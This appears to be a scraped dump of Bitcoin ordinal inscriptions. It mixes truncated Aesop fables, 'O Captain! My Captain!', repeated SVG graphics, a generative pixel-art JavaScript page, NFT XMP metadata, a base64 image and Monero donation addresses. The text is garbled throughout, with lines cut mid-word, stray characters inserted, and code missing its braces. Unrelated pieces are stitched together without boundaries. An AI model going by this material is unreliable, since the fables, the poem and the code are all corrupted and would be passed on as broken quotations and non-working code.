A PANTHER, by some mischance, fell into a pit. The Shepherds discovered
 and some threw sticks at him and pelted him with stones, while
others, moved with compassion towards one about to die even though no
one should hurt him, threw in some food to prolong his life. At night
they returned home, not dreaming of any danger, but supposing that on
the morrow they would find him dead. The Panther, however, when he had
recruited his feeble strength, freed himself with a sudden bound from
the pit, and hastened to his den with rapid steps. After a few days he
came forth and slaughtered M
the cattle, and, killing the Shepherds who
had attacked him, raged with angry fury. Then they who had spared his
life, fearing for their safety, surrendered to him their flocks and
begged only for their lives. To them the Panther made this reply:
remember alike those who sought my life with stones, and those who gave
me food aside, therefore, your fears. I return as an enemy only to those
The Ass and the Charger
AN ASS congratulated a Horse on being so ungrudgingly and careM
provided for, while he himself had scarcely enough to eat and not even
that without hard work. But when war broke out, a heavily armed soldier
mounted the Horse, and riding him to the charge, rushed into the
very midst of the enemy. The Horse was wounded and fell dead on the
battlefield. Then the Ass, seeing all these things, changed his mind,
and commiserated the Horse.
The Eagle and His Captor
AN EAGLE was once captured by a man, who immediately clipped his
wings and put him into his poulM
try-yard with the other birds, at which
treatment the Eagle was weighed down with grief. Later, another neighbor
purchased him and allowed his feathers to grow again. The Eagle took
flight, and pouncing upon a hare, brought it at once as an offering to
his benefactor. A Fox, seeing this, exclaimed,
Do not cultivate the
favor of this man, but of your former owner, lest he should again hunt
for you and deprive you a second time of your wings.
The Bald Man and the Fly
A FLY bit the bare head ofM
 a Bald Man who, endeavoring to destroy it,
gave himself a heavy slap. Escaping, the Fly said mockingly,
have wished to revenge, even with death, the Prick of a tiny insect, see
what you have done to yourself to add insult to injury?
I can easily make peace with myself, because I know there was
no intention to hurt. But you, an ill-favored and contemptible insect
who delights in sucking human blood, I wish that I could have killed you
even if I had incurred a heavier peM
The Olive-Tree and the Fig-Tree
THE OLIVE-TREE ridiculed the Fig-Tree because, while she was green all
the year round, the Fig-Tree changed its leaves with the seasons. A
shower of snow fell upon them, and, finding the Olive full of foliage,
it settled upon its branches and broke them down with its weight, at
once despoiling it of its beauty and killing the tree. But finding the
Fig-Tree denuded of leaves, the snow fell through to the ground, and did
not injure it at all.
AN EAGLE, overwhelmed with sorrow, sat upon the branches of a tree in
company with a Kite.
do I see you with such a
a mate suitable for me, and am
not able to find one.
 returned the Kite,
Why, are you able to secure the means of living by your
Well, I have often caught and carried away an ostrich in my
 The Eagle, persuaded by theseM
 words, accepted him as her mate.
Shortly after the nuptials, the Eagle said,
Fly off and bring me back
the ostrich you promised me.
 The Kite, soaring aloft into the air,
brought back the shabbiest possible mouse, stinking from the length
of time it had lain about the fields.
faithful fulfillment of your promise to me?
I might attain your royal hand, there is nothing that I would not have
promised, however much I knew that I must fail iM
The Ass and His Driver
AN ASS, being driven along a high road, suddenly started off and bolted
to the brink of a deep precipice. While he was in the act of throwing
himself over, his owner seized him by the tail, endeavoring to pull him
back. When the Ass persisted in his effort, the man let him go and said,
Conquer, but conquer to your cost.
The Thrush and the Fowler
A THRUSH was feeding on a myrtle-tree and did not move from it because
its berries were so dM
elicious. A Fowler observed her staying so long in
one spot, and having well bird-limed his reeds, caught her. The Thrush,
being at the point of death, exclaimed,
O foolish creature that I am!
For the sake of a little pleasant food I have deprived myself of my
The Rose and the Amaranth
AN AMARANTH planted in a garden near a Rose-Tree, thus addressed it:
What a lovely flower is the Rose, a favorite alike with Gods and with
men. I envy you your beauty and your perfume.
indeed, dear Amaranth, flourish but for a brief season! If no cruel hand
pluck me from my stem, yet I must perish by an early doom. But thou art
immortal and dost never fade, but bloomest for ever in renewed youth.
 Complaint Against the Sun
ONCE UPON A TIME, when the Sun announced his intention to take a
wife, the Frogs lifted up their voices in clamor to the sky. Jupiter,
disturbed by the noise of their croaking, inquired the cause of their
complaint. One of them said, M
The Sun, now while he is single, parches
up the marsh, and compels us to die miserably in our arid homes. What
will be our future condition if he should beget other suns?
Inscribed by etching.net
Support the preservation of knowledge and culture with Monero (XMR):
82oEk9mGZQuiY4hnriJp4dhJAS7TZeArgGQen29yePctLVjUqeVwrWKUjt6X9zYkbtQqM2t9YjsdQYGPJKPzDPrN5Guo87k
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
        <title>Bitcoin Pixelbot</title>
            let alphabet = "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"
              , tokenHash = window.location.href.split("/").find(t=>t.includes("i0")) || "0x" + [...Array(64)].map((t,n)=>alphabet[Math.random() * alphabet.length | 0]).join("");
            class Random {
                constructor() {
                    this.useA = !1;
                    let t = function(t) {
                  let n = parseInt(t.substr(0, 8), 16)
                          , r = parseInt(t.substr(8, 8), 16)
                          , s = parseInt(t.substr(16, 8), 16)
                          , e = parseInt(t.substr(24, 8), 16);
                        return function() {
                            s |= 0;
                            let t = ((n |= 0) + (r |= 0) | 0) + (e |= 0) | 0;
                            return e = e + 1 | 0,
                            n = r ^ r >>> 9,
           r = s + (s << 3) | 0,
                            s = (s = s << 21 | s >>> 11) + t | 0,
                            (t >>> 0) / 4294967296
                        }
                    };
                    this.prngA = new t(tokenHash.substr(2, 32)),
                    this.prngB = new t(tokenHash.substr(34, 32));
                    for (let n = 0; n < 1e6; n += 2)
                        this.prngA(),
                        this.prngB()
                random_dec() {
                   return this.useA = !this.useA,
                    this.useA ? this.prngA() : this.prngB()
                random_num(t, n) {
                    return t + (n - t) * this.random_dec()
                random_int(t, n) {
                    return Math.floor(this.random_num(t, n + 1))
            let R = new Random;
        <canvas id='c'>
            <script>
              console.log("P1xelboy 202M
              var canvas = document.getElementById("c");
              var ctx = c.getContext("2d");
              iw = window.innerWidth,
              wid = iw < 1 * (ih = window.innerHeight) ? iw : ih,
              hi = iw < 1 * ih ? iw  : ih,
              ctx.canvas.width = wid,
              ctx.canvas.height = hi;
              let hash = R.random_dec()
              let bgHash = R.random_dec()
              let mouthHash = R.random_dec()
              let eyeHash = R.random_dec()M
              let eyes = R.random_dec()
              let bodyHash = (Math.floor(R.random_dec()*5));
              let gran = R.random_dec()
              var eyeCl
              var eyeDir
              var pal
              var mouthCl
              var bgCl
              var cl=[];
              if (mouthHash > 0.86) mouthCl = "#000000"
else if (mouthHash > 0.74) mouthCl = "#444444"
else if (mouthHash > 0.6) mouthCl = "#777777"
else if (mouthHash > 0.45) mouthCl = "#440000"
else if (mouthHash > M
0.35) mouthCl = "#d7d7d7"
else if (mouthHash > 0.25) mouthCl = "#a77044"
else if (mouthHash > 0.15) mouthCl = "#D6AF36"
else mouthCl = "#AAAAAA"
if (eyeHash > 0.80) eyeCl = "#000000"
else if (eyeHash > 0.60) eyeCl = "#222222"
else if (eyeHash > 0.40) eyeCl = "#330000"
else if (eyeHash > 0.20) eyeCl = "#003300"
else eyeCl = "#000033"
if (bgHash > 0.70) bgCl = "#000000"
else if (bgHash > 0.55) bgCl = "#161616"
else if (bgHash > 0.40) bgCl = "#220000"
else if (bgHash > 0.20) bgCl = "#002200"
if (hash > 0.97) cl[0]='#222222', cl[1]='#44313d' ,cl[2]='#fca311', cl[3]='#aaaaaa', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.95) cl[0]='#5bc0eb', cl[1]='#fde74c' ,cl[2]='#9bc53d', cl[3]='#e55934', cl[4]='#fa7921', cl[5]='#000000'
else if (hash > 0.9) cl[0]='#ff00c1', cl[1]='#9600ff' ,cl[2]='#4900ff', cl[3]='#00b8ff', cl[4]='#00fff9', cl[5]='#000000'
else if (hash > 0.85) cl[0]='#0b3954', cl[1]='#bfd7ea', cl[2]='#ff6663', cl[3]='#e0ff4f', cl[4]='#dddddd', cl[5]='#000000'
> 0.80) cl[0]='#d81159', cl[1]='#8f2d56' ,cl[2]='#218380', cl[3]='#fbb13c', cl[4]='#73d2de', cl[5]='#000000'
else if (hash > 0.75) cl[0]='#2b2d42', cl[1]='#edf2f4' ,cl[2]='#ef233c', cl[3]='#d90429', cl[4]='#b2c2c9', cl[5]='#000000'
else if (hash > 0.7) cl[0]='#da8c2f', cl[1]='#d7bc8a', cl[2]='#d16a65', cl[3]='#8fdccd', cl[4]='#51c8be', cl[5]='#000000'
else if (hash > 0.65) cl[0]='#d72638', cl[1]='#3f88c5', cl[2]='#f49d37', cl[3]='#5a576c', cl[4]='#f22b29', cl[5]='#000000'
else if (hash > 0.6) cl[0]='#2e294e', cM
l[1]='#efbcd5', cl[2]='#be97c6', cl[3]='#8661c1', cl[4]='#4b5267', cl[5]='#000000'
else if (hash > 0.55) cl[0]='#E3E8EA', cl[1]='#222222', cl[2]='#9BA8AE', cl[3]='#707A7E', cl[4]='#495054', cl[5]='#000000'
else if (hash > 0.5) cl[0]='#9b8816', cl[1]='#f98948', cl[2]='#5d3a00', cl[3]='#684e32', cl[4]='#f9ea9a', cl[5]='#000000'
else if (hash > 0.45) cl[0]='#c2e812', cl[1]='#91f5ad', cl[2]='#8b9eb7', cl[3]='#745296', cl[4]='#632a50', cl[5]='#000000'
else if (hash > 0.4) cl[0]='#b9e3c6', cl[1]='#59c9a5', cl[2]='#d8M
1e5b', cl[3]='#23395b', cl[4]='#fffd98', cl[5]='#000000'
else if (hash > 0.35) cl[0]='#242323', cl[1]='#3a4e48', cl[2]='#6a7b76', cl[3]='#8b9d83', cl[4]='#beb0a7', cl[5]='#000000'
else if (hash > 0.3) cl[0]='#EEF8FF', cl[1]='#D1F5FF', cl[2]='#78E3FD', cl[3]='#34F6F2', cl[4]='#7D53DE', cl[5]='#000000'
else if (hash > 0.25) cl[0]='#582936', cl[1]='#8c2f39', cl[2]='#b23a48', cl[3]='#fcb9b2', cl[4]='#fed0bb', cl[5]='#000000'
else if (hash > 0.21) cl[0]='#073b3a', cl[1]='#0b6e4f', cl[2]='#08a045', cl[3]='#6bbf59', cM
l[4]='#ddb771', cl[5]='#000000'
else if (hash > 0.16) cl[0]='#022b3a', cl[1]='#1f7a8c', cl[2]='#bfdbf7', cl[3]='#e1e5f2', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.11) cl[0]='#c1edcc', cl[1]='#b0c0bc', cl[2]='#a7a7a9', cl[3]='#797270', cl[4]='#453f3c', cl[5]='#000000'
else if (hash > 0.05) cl[0]='#780116', cl[1]='#f7b538', cl[2]='#db7c26', cl[3]='#d8572a', cl[4]='#c32f27', cl[5]='#000000'
else cl[0]='#072ac8', cl[1]='#1e96fc', cl[2]='#a2d6f9', cl[3]='#fcf300', cl[4]='#ffc600', cl[5]='#000000'
if (eyes > 0.85) var colors = {
    6: cl[bodyHash],
  else if (eyes > 0.70) var colors = {
      5: cl[bodyHash],
eyes > 0.35) var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
 else {var colors = {
    6: cl[bodyHash],
    7: cl[bodyHash],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0M
[0,0,0,0,0,0,0,0,4,7,1,1,7,1,1,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,7,2,8,7,2,8,7,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,7,7,7,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,10,3,10,3,10,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,3,10,3,10,3,7,7,0,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,7,7,7,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,7,7,4,7,5,5,5,5,5,5,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,0,0,7,0,7,7,5,7,7,7,7,5,7,0,7,0,0,0,0,0,0],
7,7,5,5,5,5,5,7,7,0,4,4,0,0,0,0,0],
[0,0,0,0,0,7,7,0,7,7,5,7,7,7,7,5,7,0,7,7,0,0,0,0,0],
[0,0,0,0,7,7,7,0,7,5,5,5,5,5,5,7,7,0,7,7,7,0,0,0,0],
[0,0,0,0,0,7,7,4,7,7,7,5,7,5,7,7,7,4,7,7,0,0,0,0,0],
[0,0,0,0,7,0,7,0,7,7,7,7,7,7,7,7,7,0,7,0,7,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,7,7,0,0,0,7,7,0,0,0,0,0,0,0,0,0]M
[0,0,0,0,0,0,0,0,0,4,4,0,0,0,4,4,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,7,7,7,7,0,7,7,7,7,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,4,4,4,4,0,4,4,4,4,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]];
  for (var j = 0; j <= 24; j++) {
    for (var i = 0; i <= 24; i++) {
      if( pixelArt[j][i] > 0 ){
        ctx.fillStyle = colors[pixelArt[j][i]];
        ctx.fillRect(posX, posY, w1, h1);
      ctx.fillStyle = bgCl;
      ctx.fillRect(posX, posY,M
      posX = posX + w1;
    posY = posY + h1;
              draw();
            </script>
                margin: 0;
                display: flex;
                justify-content: center;
                align-items: center;
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
O CAPTAIN! MY CAPTAIN!
O Captain! my Captain! our fearful trip is done,
The ship has weather
d every rack, the prize we sought is won,
The port is near, the bells I hear, the people all exulting,
While follow eyes the steady keel, the vessel grim and daring;
                         But O heart! heart! heart!
                            O the bleeding drops of red,
                               Where on the deck my Captain lies,
                                  Fallen cold and deaM
O Captain! my Captain! rise up and hear the bells;
for you the flag is flung
for you the bugle trills,
For you bouquets and ribbon
for you the shores a-crowding,
For you they call, the swaying mass, their eager faces turning;
                         Here Captain! dear father!
                            This arm beneath your head!
                               It is some dream that on the deck,
                                 You
ve fallen cold and dead.
s not answer, his lips are pale and still,
My father does not feel my arm, he has no pulse nor will,
d safe and sound, its voyage closed and done,
From fearful trip the victor ship comes in with object won;
                         Exult O shores, and ring O bells!
                            But I with mournful tread,
                               Walk the deck my Captain lies,
                                  Fallen cold and dead.
From poetryfoundation.org
Inscribed by etching.net
Support the preservation of knowledge and culture with Monero (XMR):
83Xxxx2Mx5Ub96MwBRrzNL9h5oitBy118Qi4M22LEsMkh94yZG6LQzRKHWVahz6oGc4fN779bGTaj3kk5ZNsQ1mHGhyG8cwh!
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Messy White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>Red Shemagh &amp; Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://tM
oken.thesaudisnft.com/5186</metadata:External_URL>
   <metadata:Name>The Saudis #5186</metadata:Name>
  </metadata:Metadata>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
